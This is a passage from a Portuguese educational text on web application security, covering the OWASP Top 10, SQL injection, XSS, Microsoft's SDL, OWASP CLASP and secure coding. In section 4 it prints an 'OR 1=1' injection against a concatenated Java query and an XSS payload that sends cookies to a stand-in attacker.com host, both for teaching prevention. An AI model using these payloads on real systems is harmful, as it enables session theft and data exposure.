como o caso de arquivos, diretrios, registros da base de dados ou chaves, na forma
de uma URL ou parmetro de formulrio. Os atacantes podem manipular essas refe-
rncias para acessar outros objetos sem autorizao
5. Cross Site Request Forgery (CSRF): Um ataque CSRF fora o navegador da vtima, que
esteja autenticado em uma aplicao, a enviar uma requisio pr-autenticada a um
servidor Web vulnervel, que por sua vez fora o navegador da vtima a executar uma
ao maliciosa para o atacante. O CSRF pode ser to poderoso quanto a aplicao
Web que ele ataca.
6. Erros de Confgurao de Segurana: Atacantes acessam contam default, pginas no
usadas, falhas de no atualizao em patchs, arquivo e diretrios no protegidos, com
objetivo de ter acesso no autorizado para conhecimento do sistema. Erro na conf-
gurao de segurana pode acontecer em qualquer nvel de uma pilha de aplicao,
incluindo a plataforma, servidor web, servidor de aplicao, framework e cdigo cus-
tomizado. Desenvolvedores e administradores de rede necessitam trabalhar juntos
para garantir que a pilha de entrada seja confgurada apropriadamente.
7. Armazenamento Criptogrfco Inseguro: As aplicaes Web raramente utilizam fun-
es criptogrfcas de forma adequada para proteo de informaes e credenciais.
Os atacantes se aproveitam de informaes mal protegidas para realizar roubo de
identidade e outros crimes, como fraudes de cartes de crdito.
8. Falha de Restrio de Acesso URL: Frequentemente, uma aplicao protege suas
funcionalidades crticas somente pela supresso de informaes como links ou URLs
para usurios no autorizados. Os atacantes podem fazer uso dessa fragilidade para
acessar e realizar operaes no autorizadas por meio do acesso direto s URLs.
9. Insufciente Proteo a nvel de transporte: As aplicaes frequentemente falham em
criptografar trfego de rede quando se faz necessrio proteger comunicaes crti-
cas/confdenciais.
10. Redirecionamento e Encaminhamentos (Redirects and Forwards) no validados: Fre-
quentemente, aplicaes web redirecionam e encaminham usurios para outras p-
ginas e sites web, e usa dados no confveis, sem uma validao apropriada para
defnir o destino. O atacante pode usar esse problema para redirecionar vtimas a sites
malware ou usar os encaminhamentos para acessar pginas no autorizadas.
18
Os ataques de Injeo de cdigo SQL e XSS esto tambm no topo da lista da OWASP, por
isso so descritos com mais detalhes a seguir, adotando-se o formato de apresentao basea-
do no documento da OWASP. A lista completa dos problemas disponvel em OWASP (2010).
4.1 Injeo de SQL
Um ataque de injeo de SQL um tipo especfco de ataque de injeo, baseado na ex-
plorao de caractersticas da linguagem SQL.
Ataque
O atacante envia um simples texto que explora a sintaxe do interpretador, frequentemen-
te encontrado em consultas SQL.
Impacto
Um ataque de SQL Injection pode resultar em perda ou roubo de dados, negao de aces-
so. Considerando o valor do negcio dos dados afetados o prejuzo pode ser muito grande.
Exemplo de um Ataque
Uma aplicao web usa diretamente dados no confveis enviados pelo navegador web, ob-
tidos, por exemplo, por meio da string de consulta (QUERY) http, na construo do seguinte SQL:
String consulta_sql = SELECT * FROM conta WHERE nome= +
request.getParameter(nome) +;
Na linha de comando acima uma string com o comando SQL a ser executado pelo banco
de dados feita atravs da concatenao da cadeia de caracteres SELECT * FROM conta WHERE
clienteID=, juntamente com o valor do nome do cliente supostamente passado como parme-
tro na query da URL (ver seo 3.1). Ocorre que o atacante, em vez de passar apenas o nome
do usurio, encaminha como query de entrada o trecho abaixo
nome=Maristela OR 1=1
O uso do parmetro recebido, sem validao prvia, produziria a seguinte consulta SQL
SELECT * FROM conta WHERE nome=Maristela OR 1=1
Como a consulta acima contm uma expresso lgica que sempre verdadeira, visto que
a primeira condio (nome = Maristela?) pode ser falsa, mas 1 ser sempre igual a 1, a consul-
ta retornar todos os registros de usurios da tabela conta, e no apenas o registro da pessoa
de nome Maristela. A consequncia desse ataque simplifcado seria a perda de confdenciali-
dade dos dados manipulados pela aplicao.
19
Para se prevenir de ataques de SQL Injection deve-se utilizar:
1. Sempre que possvel, API seguras e parametrizadas para acesso a bancos de dados,
que j diminuem o risco desse ataque. So exemplos de tais APIs o Hibernate (Hiber-
nate 2010) e EJB (Oracle 2010).
2. Se no existir uma API parametrizada, deve-se, antes de produzir qualquer comando
SQL por meio de concatenao de strings, analisar detalhadamente todas as entradas
de dados efetuadas pelos usurios, a fm de se retirar os caracteres especiais, usando
um analisador de sintaxe especfco.
3. White list de validao de entrada, com a forma cannica apropriada, removendo
quaisquer caracteres esprios. Isso no completamente seguro, pois algumas apli-
caes requerem caracteres especiais como entrada, o que produz riscos de introdu-
zir negao de servios em determinados sistemas.
4.2 Cross-Site Scripting (XSS)
XSS, cross-site scripting, um dos ataques mais predominantes e perigosos em aplicaes
web. Segundo Shristey (2010), tais ataques decorrem de uma combinao da natureza stateless
do HTTP, da mistura de dados e scripts HTML, do uso de diversos esquemas de codifcao e
dos navegadores web com interface rica (feature-rich).
Ataque
O esquema abaixo, adaptado de Meunier (2005), sumariza a condio geral de execuo
de um ataque XSS. O ataque acontece quando uma aplicao web, do lado do servidor (Ex: Z),
inclui nos dados de uma pgina web enviada para um usurio legtimo um conjunto de dados
(chamado de envenenamento, na Figura 10) que foram previamente recebidos de um usurio
malicioso (ex: Mallory). Tais dados usualmente contm um Script Malicioso, que executado
inadvertidamente pelo navegador web do usurio legtimo. O script malicioso executado no
computador do usurio legtimo poder ser usado para enviar dados para outro stio (ex: M),
envolvendo roubo de cookies, identifcadores de sesso, senhas, dados de formulrios etc.
Figura 10: Exemplo de Ataque XSS. Fonte: Adaptado de Meunier (2005).
Existem trs tipos bem conhecidos de XSS (OWASP 2010): refetido, armazenado e inser-
o DOM, explicados a seguir
14
.
XSS refetido de explorao fcil. Uma pgina contaminada pelo script malicioso refetir
para o stio malicioso os dados fornecidos pelo usurio ao stio legtimo, tais como, mensagens
de erro, resultados de uma pesquisa ou outra resposta que inclua algum ou todos os dados de
entrada de formulrios.
14 Para explicaes mais detalhadas ver http://www.owasp.org/index.php/Top_10_2010-A2-
-Cross-Site_Scripting_%28XSS%29.
20
XSS armazenado envolve o envenenamento do stio legtimo por dado hostil, o subse-
quente armazenamento desse dado hostil em arquivo, banco de dados ou outros sistemas
de suporte informao no computador do servidor web e ento, em um estgio avanado a
apresentao do dado hostil aos usurios legtimos. Isso perigoso em sistemas como blogs
ou fruns, onde uma grande quantidade de usurios acessar entradas de outros usurios.
Ataques XSS baseados em DOM (Document Object Model) ocorrem pgina atacada que usa em
seu cdigo parmetros passados na URL para gerar dinamicamente o seu contedo (Junior 2009).
Alternativamente, os ataques XSS podem ser uma mistura ou uma combinao dos trs
tipos. Comportamentos no padro do navegador pode introduzir vetores de ataque. O XSS
potencialmente habilitado a partir de quaisquer componentes de script que o browser utilize.
Os ataques so frequentemente implementados em javascript, que uma ferramenta po-
derosa de codifcao. O uso do javascript habilita o atacante a manipular qualquer aspecto da
pgina a ser renderizada, incluindo a adio de novos elementos (como um espao para login
que encaminha credenciais para um site hostil), a manipulao de qualquer aspecto interno
do DOM e a remoo ou modifcao de forma de apresentao da pgina. O javascript permi-
te o uso do XmlHttpRequest, que tipicamente usado por sites que usam a tecnologia AJAX,
um vetor comum para ataques XSS.
Impacto
Ataques XSS podem roubar sesso do usurio, desconfgurar sites web, inserir contedos
hostis, redirecionar usurio entre outros.
Como Prevenir
A Preveno do XSS requer que a guarda de dados no confveis (obtidos dos usurios)
seja estritamente separada do contedo ativo a ser enviado para o navegador.
1. Retirar todos os dados no confveis baseado no contexto do HTML.
2. Validao de entrada ou whitelist, mas no uma soluo defnitiva, as vezes ne-
cessrio que a aplicao aceite dados especiais como entrada.
3. Utilizar recursos do prprio navegador que tenha poltica de segurana e defenda o
navegador contra ataques de XSS.
Exemplo de ataque XSS
Um servidor web usa entrada de dados no confveis na construo de suas pginas HTML.
(String) pagina += <input name=cartaocredito type=TEXT
value= + request.getParameter(CC) + >;
Perceba que o parmetro CC usado sem validao. O atacante introduz como valor para
o parmetro CC o seguinte:
><script>document.location= http://www.attacker.com/
cgi-bin/cookie.cgi? foo=+document.cookie</script>
21
Isso gera uma pgina HTML que agora contm um script com o cdigo abaixo
document.location= http://www.attacker.com/cgi-bin/cookie.
cgi?foo=+document.cookie
Quando o usurio receber a pgina gerada conforme o cdigo acima, a execuo do scrip
causar o envio de todos os dados do cookie do usurio legtimo para o stio ww.attacker.com.
No cookie pode estar includo o identifcador nico da sesso do usurio junto ao stio web. Isso
pode permitir ao atacante roubar a sesso do usurio junto ao servidor web, pois se o atacante
enviar para o servidor web um cookie contendo o id de sesso roubado, o servidor web poder
reconhecer enganosamente o hacker como sendo um usurio legtimo.
Vrios exemplos de ataques em stios conhecidos, Google, Amazon, Yahoo podem ser en-
contrado no stio Xssed (http://www.xssed.com/).
4.3 Outros riscos de ataques
Alm dos dois tipos comuns de ataques descritos anteriormente, existem dezenas de ou-
tras vulnerabilidades bastante comuns em software e um nmero ainda maior de formas de
atacar tais vulnerabilidades. Vulnerabilidades de software possuem elevada capilaridade e apa-
recem potencialmente em todas as partes do cdigo onde h entrada e (ou) sada de dados.
Dado que as vulnerabilidades de segurana s recentemente comearam a ser exploradas,
atualmente existe uma pequena quantidade de programadores que foi disciplinado acerca de
aspectos de segurana no desenvolvimento de software. Introduzir atividades no processo de
desenvolvimento de software que permitem reduzir um nmero de vulnerabilidades de software
a um nvel aceitvel implica em uma mudana cultural profunda para quem analisa, codifca,
testa e implanta aplicativos, e uma das solues correntes consiste na introduo de segurana
no desenvolvimento de software, conforme explorado a seguir, com foco em aplicaes Web.
22
5. Segurana no Desenvolvimento de
Aplicaes e Software Seguro
As aplicaes expostas Internet/Web aumentam enormemente a possibilidades de ata-
ques e explorao de suas vulnerabilidades. O conceito de software seguro passa a ganhar
fora a partir da necessidade de reduzir tais vulnerabilidades.
5.1 Software Seguro
Um software seguro um software livre de vulnerabilidades, que funciona da maneira pre-
tendida e que essa maneira pretendida no compromete a segurana de outras propriedades
requeridas do software, seu ambiente e as informaes manipuladas por ele (DSH, 2006).
So propriedades de um software seguro (Braz, 2008; DHS, 2006):
Disponibilidade: o software deve estar sempre operacional e acessvel para os usu-
rios autorizados sempre que necessrio.
Integridade: o software deve estar sempre protegido contra modifcaes no autorizadas.
Confdencialidade: no contexto da segurana do software, confdencialidade se aplica
para o prprio software e para os dados que ele manipula.
Duas propriedades adicionais associada aos usurios humanos podem ser requeridas para as
entidades de software que agem como usurio, como agentes proxies e web services (DHS 2006):
Responsabilizao: toda ao relevante de segurana de um software-como-usurio
(traduo livre de software-as-user) deve ser registrada e acompanhada, com atribui-
o de responsabilidade. Nesse acompanhamento deve ser possvel durante e depois
dos registros das aes ocorrem.
No-repdio: a habilidade de prevenir o software-como-usurio de negar responsabi-
lidade sobre aes desempenhadas.
Vejamos a seguir quais as abordagens atuais para garantir que tais pripriedades estejam
presentes em um software, caracterizando-o como seguro.
5.2 Desenvolvimento de Software Seguro
Como apresentado anteriormente o desenvolvimento de um software deve seguir um
processo que envolve diferentes fases, desde a concepo at a instalao e evoluo. O que
acontece algumas vezes que devido ao foco inicial do desenvolvimento de software ser fun-
damentalmente no atendimento aos requisitos de funcionamento que satisfazem as neces-
sidades evidentes e contratuais dos clientes e usurios, os critrios de segurana para tornar
um software seguro muitas vezes s so realizados tardiamente, durante os testes e validao
fnal do software. Isso porque nem os clientes nem os desenvolvedores esto preparados para
tratar antecipadamente da questo. Satisfazer necessidades de segurana em uma fase tardia
do desenvolvimento produz elevado impacto negativo sobre o projeto, resultando muitas ve-
zes na produo e implantao de software inseguro, que contm um signifcativo nmero de
vulnerabilidades capazes de serem exploradas por hackers.
Com a frequencia crescente de ataques desferidos contra as aplicaes, tornam-se co-
muns os problemas de segurana em sistemas de informao na internet web, como indispo-
nibilidade, perda de integridade, perda de confdencialidade etc. Em funo dessa realidade
muito importante que os requisitos de segurana sejam declarados desde o incio de con-
cepo do software. O custo de desenvolvimento de um software seguro diminui quando os
critrios de segurana esto claramente descritos desde o incio (ISO/IEC 17799, 2005).
23
Segundo a ISO/IEC 17799:2005, todos os requisitos de segurana devem ser identifcados
na fase de levantamento de requisitos do projeto. Deve-se garantir que os requisitos de segu-
rana sejam identifcados e acordados antes da implementao do projeto.
Controles introduzidos no estgio de projeto so signifcativamente
mais baratos para implementar e manter do que aqueles includos du-
rante ou aps a implementao. ISO/IEC 17799:2005.
Uma proposta de incluso de segurana no processo de desenvolvimento de software
usado Banco Central do Brasil descrita em Bastos (2010). Nessa proposta, baseada no mode-
lo do Processo Unifcado, o acompanhamento dos requisitos de segurana do sistema feito
desde a fase de concepo do software.
A seguir so apresentados dois dos modelos de processos de desenvolvimento de softwa-
re seguro mais conhecidos, o SDL da Microsoft e o CLASP, especifcado pela OWASP.
5.2.1 SDL
O SDL
15
(Security Development Lifecycle) um processo de desenvolvimento de software
com segurana adotado pela Microsoft e descrito por Howard e Lipner (2006), Lipner e Ho-
ward (2005) e Microsoft (2010). O SDL envolve a adio de uma srie de atividades e produtos
concentrados na produo de software seguro, desenvolvidas em cada fase do processo de
desenvolvimento de software. Essas atividades e esses produtos incluem aspectos como: (i) o
desenvolvimento de modelos de ameaas durante o design do software, (ii) o uso de ferramen-
tas de verifcao de cdigo de anlise esttica durante a implementao e (iii) a realizao de
revises de cdigo e testes de segurana, entre outros.
O SDL prope a modifcao dos processos de uma organizao de desenvolvimento de
software atravs da integrao de medidas que levam ao software seguro, adicionando pontos
de verifcao e produtos de segurana bem defnidos.
O processo de desenvolvimento de software seguro, globalmente aceito na Microsoft, se-
gue, em termos gerais, o fuxo mostrado na Figura 11, que composto pelas fases de treina-
mento, requisitos, design, implementao, verifcao, lanamento e resposta.
Figura 11. O processo de desenvolvimento de software seguro SDL da Microsoft. Fonte: (MICROSOFT, 2010).
Cada uma dessas fases melhor descrita a seguir.
15 Veja informaes detalhadas sobre o DSL em http://www.microsoft.com/security/sdl/default.aspx
24
5.2.1.1 Treinamento de Segurana
O treinamento de segurana envolve aplicao de treinamento bsico e avanado aos
membros da equipe de desenvolvimento de software, abordando aspectos como princpios,
tendncias em segurana e privacidade.
De acordo com Microsoft (2010), so conceitos bsicos relativos ao desenvolvimento de
aplicaes com segurana e que devem ser abordados em treinamento:
O desenho seguro, envolvendo a reduo da superfcie de ataque
16
, a defesa em pro-
fundidade
17
, o princpio do privilgio mnimo
18
e os defaults seguros
19
.
A modelagem de ameaas (SWIDERSKI e SNYDER, 2004), que consiste na realizao
de estudos visando: analisar como um adversrio ou atacante em potencial v uma
aplicao; quais ativos de interesse esto presentes na aplicao e que tambm po-
deriam interessar ao atacante; quais os pontos de entrada da aplicao que podem
ser atacados; que caminhos de ataque poderiam ser usados pelo atacante; que vulne-
rabilidades poderiam ser exploradas pelo atacante; como solucionar ou mitigar tais
vulnerabilidades, e por fm; como fazer testes de segurana baseados no perfl de
ameaas levantado no modelo de ameaas.
A codifcao segura, que envolve desenvolver capacidade construir cdigo capaz de
resistir a ataques como: estouro de bufers (ver http://en.wikipedia.org/wiki/Bufer_
overfow), erros de aritmtica de inteiros, cross site scripting, SQL Injection, defcincias
na criptografa e particularidades especfcas da plataforma computacional utilizada
para desenvolvimento das aplicaes.
Teste de segurana, que envolve equilibrar testes funcionais com os testes de segu-
rana, realizar testes baseados nos riscos e ameaas s quais a aplicao est sujeita,
aplicar metodologias de teste de software e automatizar os testes.
Questes de privacidade de informaes pessoais.
16 Conforme a Wikipdia (http://en.wikipedia.org/wiki/Attack_surface) a superfcie de ataque de
um sistema de software o cdigo, dentro de um sistema computacional, que pode ser execu-
tado por usurios no autenticados. Isso inclui, mas no est limitado a campos de entrada de
dados de usurios, aos protocolos, s interfaces e aos servios disponveis no sistema.
17 A defesa em profundidade uma estratgia de origem militar, adaptada pela NSA dos EUA (ver
http://www.nsa.gov/ia/_fles/support/defenseindepth.pdf ) ao ambiente de tecnologia da infor-
mao, e que visa obter segurana em ambientes altamente integrados com redes de compu-
tadores por meio da criao de mltiplas camadas de proteo. Segundo a Wikipdia (http://
en.wikipedia.org/wiki/Defense_in_depth_(computing)), so exemplos de camadas de proteo
para obteno da defesa em profundidade: a segurana fsica, a autenticao e uso de senhas, o
hashing de senhas, antivrus, frewall, zonas de redes de computadores desmilitarizadas (DMZ),
sistemas de deteco de intruso, fltragem de pacotes, VPNs, logs e auditoria, biometria, con-
trole de acesso temporizado e segurana por obscuridade.
18 O princpio do privilgio mnimo (ver http://en.wikipedia.org/wiki/Principle_of_least_privilege
e http://hissa.ncsl.nist.gov/rbac/paper/node5.html) requer que qualquer processo computa-
cional ou entidade ativa que esteja atuando em um espao tenha acesso apenas aos recursos
necessrios e sufcientes para a realizao de sua tarefa e no mais do que isso. O princpio do
privilgio mnimo usualmente implementado atravs de controle de acessos.
19 O conceito Seguro por Padro (secure by default) (ver http://en.wikipedia.org/wiki/Secure_by_
default) recomenda que os projetistas devam sempre considerar a possibilidade de haver falhas
de segurana no cdigo que desenvolvem e, para minimizar os danos caso os invasores aces-
sem essas falhas, o estado default das diversas condies de funcionamento do software deve
sempre ser aquele no qual h o estado de maior segurana. H discusses, no entanto, acerca de
que aspectos da segurana devam ser os mais priorizados: confdencialidade, disponibilidade
ou integridade.
25
5.2.1.2 Requisitos
Nessa fase os requisitos de segurana e privacidade da aplicao so analisados em maior
detalhe e produzida uma anlise de custos visando determinar se os recursos necessrios
para melhorar a segurana e privacidade da aplicao esto compatveis com os objetivos de
negcio do projeto de software. Um dos pontos centrais nessa fase o estabelecimento de
um sistema para rastreamento dos bugs de segurana que devem ser classifcados quanto aos
efeitos que provocam sobre uma aplicao, as causas ou origens do efeito.
5.2.1.3 Design
Nessa fase se realiza anlise da superfcie de ataque da aplicao e se produz um modelo
de ameaas da aplicao.
5.2.1.4 Implementao (Codifcao Segura)
A implementao consiste na produo de cdigo executvel, usando-se uma ou mais lin-
guagens de programao, sejam elas interpretadas ou compiladas. preciso empregar tcnicas
de programao defensiva para desenvolver cdigo que resista ao ataque de usurios hackers.
A forma mais comum de garantir que ser produzido cdigo seguro por meio de ade-
rncia ao uso de padres de codifcao que reduzem a ocorrncia de vulnerabilidades de
cdigo, chamados padres de codifcao segura, e da verifcao de que os programadores a
esto adotando. Tais padres tendem a evitar a injeo de cdigo e outros ataques.
Tambm se recomenda, para verifcao, o uso de ferramentas de anlise esttica de cdi-
go
20
, que identifcam formas de codifcao propensas introduo de vulnerabilidades.
De outra forma, a melhor estratgia confar na capacidade dos tcnicos e reforar a
disciplina boa tcnica de programao defensiva e codifcao segura, que emprega tcnicas
anteriormente pouco usadas na prtica. A Seo 4.3 aborda em mais detalhes os princpios da
codifcao segura e da programao defensiva.
5.2.1.5 Verifcao
Envolve a realizao de testes, inspees de cdigo e anlise de documentao do softwa-
re, por meio de ferramentas automatizadas, como de anlise esttica de cdigo, ou de tcnicas
manuais como inspees de cdigo e auditoria de confgurao, dentre outras.
5.2.1.6 Release (liberao de verses)
Durante a fase de release produzido um plano de ao descrevendo como poder se dar
a resposta da equipe de tratamento de incidentes de segurana da informao, a eventualida-
de de descoberta de uma vulnerabilidade de segurana da aplicao ou mesmo na ocorrncia
de um incidente de segurana.
20 H controvrsias acerca da efccia no uso de ferramentas de anlise esttica de cdigo, como
discutidas em . preciso tambm ter em mente que a quantidade de vulnerabilidades poten-
ciais encontradas por uma ferramenta de anlise esttica de cdigo supera a capacidade da
equipe de desenvolvimento em responder a todos os problemas encontrados. Sem que haja um
processo de software bem estabelecido e planejado praticamente nada poder ser feito.
26
5.2.1.7 Resposta
Envolve o tratamento de incidentes relacionados aplicao. No texto sobre Tratamento
de Incidentes esse tema ser abordado com profundidade.
5.2.2 CLASP
Inicialmente desenvolvido pela empresa Secure Software, hoje sob a responsabilidade da
OWASP, o CLASP (Comprehensive, Lightweight Application Security Process) um conjunto de com-
ponentes de processo dirigido por atividade e baseado em regras, que articula prticas para cons-
truo de software seguro, permitindo o ciclo de vida de desenvolvimento do software SDLC (Sof-
tware Delevopment LifeCicle) de maneira estruturada, com repetio e mensurao (OWASP 2006).
O CLASP um conjunto de pedaos de processos que pode ser integrado a qualquer
processo de desenvolvimento de software. Foi projetado para ser de fcil utilizao. Tem um
enfoque prescritivo, documentando as atividades que as organizaes devem realizar, propor-
cionando uma ampla riqueza de recursos de segurana que facilitam a implementao dessas
atividades (OWASP 2011).
A estrutura do CLASP e as dependncias entre os componentes do processo CLASP so
organizados como se segue e descritos adiante:
Vises CLASP;
Recursos CLASP;
Caso de Uso de Vulnerabilidade.
5.2.2.1 Vises CLASP
Um processo de desenvolvimento de software seguro CLASP pode ser analisado atravs
de perspectivas de alto nvel, chamadas Vises CLASP: Viso de Conceitos; Viso baseada em
Regras; Viso de Avaliao de Atividades; Viso de Implementao de Atividades e Viso de
Vulnerabilidade. A Figura 12 apresenta essas atividades e como elas se relacionam.
A Viso Conceitual (I) apresenta uma viso geral de como funciona o processo CLASP e como
seus componentes interagem. So introduzidas as melhores prticas, a interao entre o CLASP e
as polticas de segurana, alguns conceitos de segurana e os componentes do processo.
A Viso baseada em Regras (II) introduz as responsabilidades bsicas de cada membro
do projeto (gerente, arquiteto, especifcador de requisitos, projetista, implementador, analista
de testes e auditor de segurana) relacionando-os com as atividades propostas, assim como a
especifcao de quais so os requerimentos bsicos para que cada funo.
A Viso de Avaliao de Atividades (III) descreve o propsito de cada atividade, bem como
o custo de implementao, a aplicabilidade, o impacto relativo, os riscos em caso de no apli-
car a atividade.
A Viso de Implementao (IV) descreve o contedo das 24 atividades de segurana defnidas
pelo CLASP e identifca os responsveis pela implementao, bem como as atividades relacionadas.
A Viso de Vulnerabilidades (V) possui um catlogo que descreve 104 tipos de vulnera-
bilidades no desenvolvimento de software, divididas em cinco categorias: Erros de Tipo e Li-
mites de Tamanho; Problemas do Ambiente; Erros de Sincronizao e Temporizao; Erros de
Protocolo e Erros Lgicos em Geral. Nessa atividade tambm realizada tcnicas de mitigao
e avaliao de risco. Assim como perodo de A & M (Avoidance e Mitigation) por fase do SDLC.
27
Figura 12: Vises CLASP. Fonte: Adaptado de OWASP (2006).
5.2.2.2 Recursos CLASP
O processo CLASP suporta planejamento, implementao e desempenho para atividades
de desenvolvimento de software relacionado com segurana. Os recursos do CLASP fornecem
acesso para os artefatos que so especialmente teis se seu projeto est usando ferramentas
para o processo CLASP.
Os recursos CLASP so compostos por uma lista de onze artefatos. A Tabela 1 apresenta
a lista de artefatos e com quais Vises esses recursos podem ser aplicados no Processo CLASP.
Esses recursos esto documentados na especifcao CLASP em OWASP, 2006.
28
Artefatos e Vises
Princpios Bsicos em Segurana de aplicaes (todas as Vises)
Exemplo de Princpios Bsicos: Validao de Entrada (todas as Vises)
Exemplo de princpios Bsicos Violao: Modelo penetrao-e-patch (todas as Vises)
Servios Essenciais de Segurana (todas as Vises; especialmente III)
Planilhas em Guia com Codifcao de Exemplo (Vises II, III e IV)
Planilhas de Avaliao de Sistema (Vises III e IV)
Mapa de Caminhos Exemplo: Projetos Legados (Viso III)
Mapa de Caminho Exemplo: Comeo de Novo Projeto (Viso III)
Criao do Plano de Engenharia de Processo (Viso III)
Formao da Equipe de Engenharia de Processo (Viso III)
Glossrio de Equipe de Segurana (todas as Vises)
Tabela 1. Lista de Artefatos no CLASP
5.2.2.3 Caso de uso de Vulnerabilidades
Os Casos de Uso de Vulnerabilidade descrevem condies nas quais os servios de segu-
rana podem se tornar vulnerveis em aplicaes de software. Os Casos de Uso fornecem aos
usurios CLASP exemplos especfcos, com fcil entendimento, e relacionamento de causa e
efeito sobre a codifcao do programa e seu design, alm de possveis resultados de explo-
rao de vulnerabilidades em servios de segurana bsicos como autorizao, autenticao,
confdencialidade, disponibilidade, responsabilizao e no-repdio.
Cada Use Case composto pelo diagrama de arquitetura de componentes onde h des-
crio de cada componente, assim como outro diagrama contendo o fuxo do processo rela-
cionado com a segurana do software. A Figura 13 apresenta um ambiente computacional,
composto de servidor de aplicao, banco de dados e quando utilizando cliente HTTP com o
servidor web, para o qual desenvolvido o caso de uso na Figura 14. Essa fgura apresenta os
passos relevantes para compreenso do Use Case, descritos a seguir:
1. Inicialmente o cliente solicita autenticao para a flial. Ofce Branch;
2. O cliente autenticado por certifcao digital via HTTPs;
3. O cliente solicita uma aplicao especfca utilizando HTTPS;
4. O cliente autorizado a executar o aplicativo;
5. A pgina web solicita a execuo de um objeto COM que est localizado em um ser-
vidor de aplicao local;
6. Acesso ao objeto COM autorizado;
7. O objeto COM garante apenas os dados relevantes acessveis/atualizados para o
cliente autorizado;
8. A aplicao responde com os dados acessveis e atualizados pela aplicao;
9. O objeto COM solicita acesso e atualizao para os dados localizados no SGBD local
para desenvolver funes de negcio especfcas;
10. Acesso aos dados autorizado fornecido s tabelas dos SGBDs locais so permitidos
para acesso web.
29
Figura 13: Arquitetura de Componente. Fonte: (OWASP, 2006).
30
Figura 14: Diagrama de Use Case do CLASP. Fonte: (OWASP, 2006).
5.3 Codifcao Segura e Programao Defensiva
Um programador profssional no um curioso ou um praticante que aprendeu a progra-
mar por conta prpria e desenvolveu sua habilidade em poucos meses. So precisos muitos
anos de prtica combinadas com estudo, para que sejam desenvolvidas e aplicadas tcnicas
bsicas e avanadas de programao em mdia e larga escala, capazes de produzir software
31
slido
21
, robusto e funcional. A maioria das tcnicas gerais de boa programao (escrita de
cdigo) descrita em livros como o de McConnel
22
e o de Hunt e Thomas
23
. De outra forma,
abordagens matemticas construo de software tambm so essenciais ao bom programa-
dor, como descrita no livro de Abelson e Sussman
24
e livros de estruturas de dados
25
.
Alm da necessria formao em fundamentos de programao e engenharia de softwa-
re, a velocidade com que evoluem os sistemas de computao e as interfaces com o usurio
demanda a contnua produo de novas plataformas computacionais, linguagens e biblio-
tecas de programao. Essas inovaes tecnolgicas so introduzidas a grande velocidade e
junto com elas introduzidas a maior parte das vulnerabilidades. Usar tais tecnologias deman-
da que o programador mantenha-se constantemente atualizado nas tcnicas especfcas da
plataforma
26
e da linguagem de programao
27
na qual desenvolve seu software. Esse o seu
nicho de trabalho e para tal preciso ter acesso constante documentao sobre a plataforma
e linguagens de uso, como disponveis nos stios da Microsoft, da Oracle e da IBM.
No obstante, demande-se do programador boa formao conceitual, postura de enge-
nheiro de software, alm de conhecimento constantemente atualizado da plataforma e lin-
guagem de programao que usa, isso no sufciente para a produo de cdigo seguro
na atualidade. O crime organizado cada vez mais reconhece o potencial de lucratividade no
ataque a sistemas informatizados e est constantemente explorando suas vulnerabilidades,
seja em empresas pblicas e privadas. Tal situao exige a adoo de uma srie de tcnicas
ainda pouco conhecidas e pouco empregadas, inclusive em universidades de todo o mundo,
agregadas sob as denominaes de codifcao segura ou programao defensiva. A principal
tcnica da programao defensiva, da mesma forma que na direo defensiva, consiste em
sempre desconfar dos outros agentes com os quais se interage. No caso da programao o c-
digo que o programador seguro desenvolve jamais deve assumir que um determinado usurio
vai enviar para o programa os dados no formato esperado, nem assumir que uma rotina que
foi chamada pelo seu cdigo vai produzir os resultados exatamente da forma como esperado.
Faz-se necessrio que o cdigo verifque a consistncia e completude de praticamente todos
os dados manipulados. Tal abordagem cria uma estrutura de programao compartimentali-
zada, produzindo o mesmo efeito de uma defesa em profundidade.
Em suma, um programador de aplicaes que sero usadas em ambiente de alta exposi-
o necessita ter boa formao conceitual, manter-se atualizado na plataforma e linguagem
de programao empregadas e adotar prticas de codifcao segura e programao defen-
siva. Por fm, tambm necessita atuar em uma organizao que empregue um processo de
desenvolvimento de software seguro, para que os recursos necessrios ao emprego dessas
tcnicas sejam alocados ao projeto desde suas primeiras etapas.
H hoje na Internet uma variada lista de stios que ofertam muitas informaes sobre co-
difcao segura, dentre as quais se destacam o CERT, a OWASP e a Microsoft.
21 Veja uma apresentao do livro Solid Software, de Pfeeger, Hatton e Howell, em http://www.
pearsonhighered.com/educator/product/Solid-Software/9780130912985.page.
22 Veja uma apresentao do livro Code Complete, de David de McConnel em http://cc2e.com/
23 Veja uma apresentao do livro The Pragmatic Programmer, de Hunt e Thomas, em http://
en.wikipedia.org/wiki/The_Pragmatic_Programmer
24 Disponvel online em http://mitpress.mit.edu/sicp/full-text/book/book.html.
25 Veja uma breve conceituao em http://pt.wikipedia.org/wiki/Estrutura_de_dados.
26 So exemplos de plataformas computacionais usadas na atualidade para desenvolver aplica-
tivos, seja no sistema operacional Linux, Windows e MacOS: Java JEE, Microsoft .NET e Oracle.
Muitas so as plataformas de programao em computadores mveis, como Symbiam, Java-
FX, Android, Windows Mbile. Tambm se faz necessrio compreender que existem diversos
modelos de navegadores web, como Firefox, Internet Explorer, Chrome, Opera, e para cada um
apresentam-se diferentes formas de desenvolver software.
27 Alm do inevitvel conhecimento da linguagem SQL para programao dos bancos de dados,
so exemplos de linguagens de programao usadas na atualidade, para o desenvolvimento
de aplicaes na web: Java+JSP+JSF, JavaScript+Ajax, PhP, C#, VB.NET, Python, Ruby, Perl etc.
So linguagens de formatao comumente necessrias ao desenvolvimento de aplicaes web:
HTML, CSS (folhas de estilo), alm de vrios dialetos da XML.
32
5.3.1 Codifcao segura no CERT
O CERT Secure Coding Initiative
28
uma iniciativa a universidade de Carnegie Mellon fnan-
ciada pelo governo dos EUA, que defne, dentre outros aspectos:
padres de codifcao segura para as linguagens C, C++ e Java;
padres internacionais para codifcao segura;
laboratrio para avaliao de conformidade em codifcao segura;
ferramentas de software que realizam anlise esttica de cdigo; e
processo de desenvolvimento de software seguro TSP-C.
5.3.2 Codifcao segura no OWASP
O OWASP oferece, alm do arcabouo de processo CLASP j apresentado, uma srie de
informaes e ferramentas em temas como:
Princpios de codifcao segura;
Bibliotecas de programao segura, envolvendo aspectos como validao de HTML e
CSS em vrias linguagens de programao;
Guia de reviso de cdigo para identifcar vulnerabilidades de estouro de bufers, injeo
de cdigo (SQL, XPATH e LDAP), validao de dados, cross-site scripting, cross-site request
forgery, logging issues, integridade de sesses e condies de corrida (race conditions);
Melhores prticas de codifcao segura e guias em linguagens e plataformas .NET,
Ruby on Rails, Java, ASP, PHP, C, C++, MySQL, Flash, Ajax e Web Services;
Exemplos de como relatar vulnerabilidades encontradas;
